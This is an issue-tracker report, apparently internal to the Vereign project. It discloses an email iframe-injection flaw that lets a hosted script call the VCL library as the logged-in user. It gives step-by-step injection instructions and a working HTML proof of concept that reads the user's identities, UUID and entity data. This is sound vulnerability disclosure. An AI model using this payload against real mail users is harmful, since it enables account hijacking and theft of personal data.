Skip to content
Snippets Groups Projects

Intruder can access to the user data and work from user account

    • Open Issue created by Kalin Canov @kalin.canov

    related to: #28 (closed)

    Access to user data and work/act like it was a user

    Note: We need to agree where to fix the issue - because we dont control how we are sending the email (when we speak about RoundCube )

    • for this below you don't need to prepare fake message.... It can be signed with your account, but you can put the iframe there, too.
    • Same technique applies if we put any link to external resource we can track user ips and so on via this approach

    I injected this page via iframe.

    A way how to inject https://code.vereign.com/code/vcl/issues/28#note_25235 (4th point in a ticket)

    1) Prepare fake email message, set user email ("To" section), change message id

    2) Paste <iframe src="http://localhost:8000"></iframe> to the email body

    3) Change http://localhost:8000 to the URL where this script will be hosted
        Should be https, if the user works on https

    4) Send an email

    5) Wait until the user opens this email in the Vereign interface

    Comments:

    I do not have access to user localstorage, but I can work with VCL library which has access.

    Change bellow https://alexeylunin.dev.vereign.com to the URL user is working on

    So, now I can work from this injected script as a user

    <!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Title</title>
</head>
<body>
    <script src="https://alexeylunin.dev.vereign.com/vcl/js/client"></script>
    <script>
        console.log("Injected: setupViamAPI");
      window.setupViamAPI(
        "hackDiv",
        {
          onEvent: () => {}
        },
        "https://alexeylunin.dev.vereign.com/vcl/js/iframe",
        "https://alexeylunin.dev.vereign.com/api/",
        "https://alexeylunin.dev.vereign.com/wopi/",
        "https://alexeylunin.dev.vereign.com"
      ).then(async function(lib) {
        window.lib = lib;
        console.log("Injected: Lib is initialized");

        var identities = await lib.listIdentities();
        console.log("Injected: User identities: ", identities);

        var currentUUID = await lib.getCurrentlyLoggedInUUID();
        console.log("Injected: Current UUID: ", currentUUID.data);

        var entity = await lib.entityGetEntity(currentUUID.data);
        console.log("Injected: Current entity: ", entity);
        console.log("Injected: Also I can send data to somewhere");
      });
    </script>
    <div id="hackDiv"></div>
</body>
</html>
    Edited

    Designs

      Child items ...

      Activity

      Please register or sign in to reply